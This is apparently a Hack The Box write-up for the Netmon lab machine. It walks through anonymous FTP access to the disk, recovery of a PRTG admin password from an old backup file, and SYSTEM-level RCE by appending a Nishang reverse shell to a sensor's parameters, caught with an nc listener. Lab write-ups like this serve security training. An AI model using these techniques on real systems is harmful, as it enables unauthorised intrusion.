I think Netmon had the quickest first blood on HTB yet. The user flag could be grabbed by just using anonymous FTP and retrieving it from the user directory. I guessed the PRTG admin password after finding an old backup file and changing the year in the password from 2018 to 2019. Once inside PRTG, I got RCE as SYSTEM by creating a sensor and using Nishang’s reverse shell oneliner.
- We can log in with anonymous FTP and get the
user.txtflag directly from the Public user folder
- There’s a PRTG configuration backup containing an old password that we can download from FTP
- The PRTG password is the almost the same as the one found in the old backup but it ends with
- We can get RCE using Powershell scripts running as sensors in PRTG
The nmap scan shows that anonymous FTP is allowed and that PRTG is running on the webserver.
# nmap -sC -sV -F 10.10.10.152 Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-02 22:43 EST Nmap scan report for netmon.htb (10.10.10.152) Host is up (0.0090s latency). Not shown: 95 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd | ftp-anon: Anonymous FTP login allowed (FTP code 230) | 02-02-19 11:18PM 1024 .rnd | 02-25-19 09:15PM <DIR> inetpub | 07-16-16 08:18AM <DIR> PerfLogs | 02-25-19 09:56PM <DIR> Program Files | 02-02-19 11:28PM <DIR> Program Files (x86) | 02-03-19 07:08AM <DIR> Users |_02-25-19 10:49PM <DIR> Windows | ftp-syst: |_ SYST: Windows_NT 80/tcp open http Indy httpd 188.8.131.5246 (Paessler PRTG bandwidth monitor) |_http-server-header: PRTG/184.108.40.20646 | http-title: Welcome | PRTG Network Monitor (NETMON) |_Requested resource was /index.htm |_http-trane-info: Problem with XML parsing of /evox/about 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Free flag from FTP
In the nmap scan, the script identified that the FTP server allows anonymous access. Because we’re not constrained to
ftproot and we can look around the entire disk of the box, I quickly found a
user.txt flag in the
# ftp 10.10.10.152 Connected to 10.10.10.152. 220 Microsoft FTP Service Name (10.10.10.152:root): anonymous 331 Anonymous access allowed, send identity (e-mail name) as password. Password: 230 User logged in. Remote system type is Windows_NT. ftp> cd /users/public 250 CWD command successful. ftp> dir 200 PORT command successful. 125 Data connection already open; Transfer starting. 02-03-19 07:05AM <DIR> Documents 07-16-16 08:18AM <DIR> Downloads 07-16-16 08:18AM <DIR> Music 07-16-16 08:18AM <DIR> Pictures 02-02-19 11:35PM 33 user.txt 07-16-16 08:18AM <DIR> Videos 226 Transfer complete. ftp> type binary 200 Type set to I. ftp> get user.txt local: user.txt remote: user.txt 200 PORT command successful. 125 Data connection already open; Transfer starting. 226 Transfer complete. 33 bytes received in 0.01 secs (4.5173 kB/s) ftp> exit 221 Goodbye. root@ragingunicorn:~/htb/netmon# cat user.txt dd58c...
I was too slow for first blood, someone else on HTB got user blood in under 2 minutes.
Getting access to PRTG
The PRTG application is running on port 80:
I tried the default credentials
prtgadmin but I got access denied.
Looking in the filesystem, I found that the configuration directory for PRTG is under
ftp> cd /programdata 250 CWD command successful. ftp> ls 200 PORT command successful. 125 Data connection already open; Transfer starting. 02-02-19 11:15PM <DIR> Licenses 11-20-16 09:36PM <DIR> Microsoft 02-02-19 11:18PM <DIR> Paessler
I found the configuration file and an old configuration from last year.
ftp> cd "PRTG Network Monitor" 250 CWD command successful. ftp> ls 200 PORT command successful. 125 Data connection already open; Transfer starting. [...] 02-25-19 09:54PM 1189697 PRTG Configuration.dat 03-02-19 05:33PM 1198465 PRTG Configuration.old 07-14-18 02:13AM 1153755 PRTG Configuration.old.bak
PRTG Configuration.dat config file contains the credentials for user
prtgadmin but they are encrypted (or hashed?) with what seems to be a proprietary method.
When I checked
PRTG Configuration.old.bak, I found the dbpassword:
I tried this password with user
prtgadmin on the PRTG login page but it didn’t work. Then I realized that this is from a 2018 backup, maybe the admin is lazy and re-used the dbpassword for the admin account and simply used the current date (2019).
My guess was correct and I was able to log in with password
RCE through PRTG sensors
PRTG is a monitoring tool that supports a whole suite of sensors, like ping, http, snmp, etc. The server itself has been added in the device list, so it’s safe to assume we can add sensors to it:
I clicked add sensor on the 10.10.10.152 server then selected
We can’t add powershell custom scripts because we don’t have write access to the application directory, but we can leverage the
Parameters field to add additional code at the end of an existing Powershell script. I used Nishang to get a reverse shell. I added a semi colon at the beginning of the parameters, then pasted the Nishang code after.
After the sensor is created, we hit the play button to execute it.
And we get a shell as
nt authority\system. Box done!
# nc -lvnp 4444 listening on [any] 4444 ... connect to [10.10.14.23] from (UNKNOWN) [10.10.10.152] 55751 PS C:\Windows\system32> whoami nt authority\system PS C:\Windows\system32> type c:\users\administrator\desktop\root.txt 30189...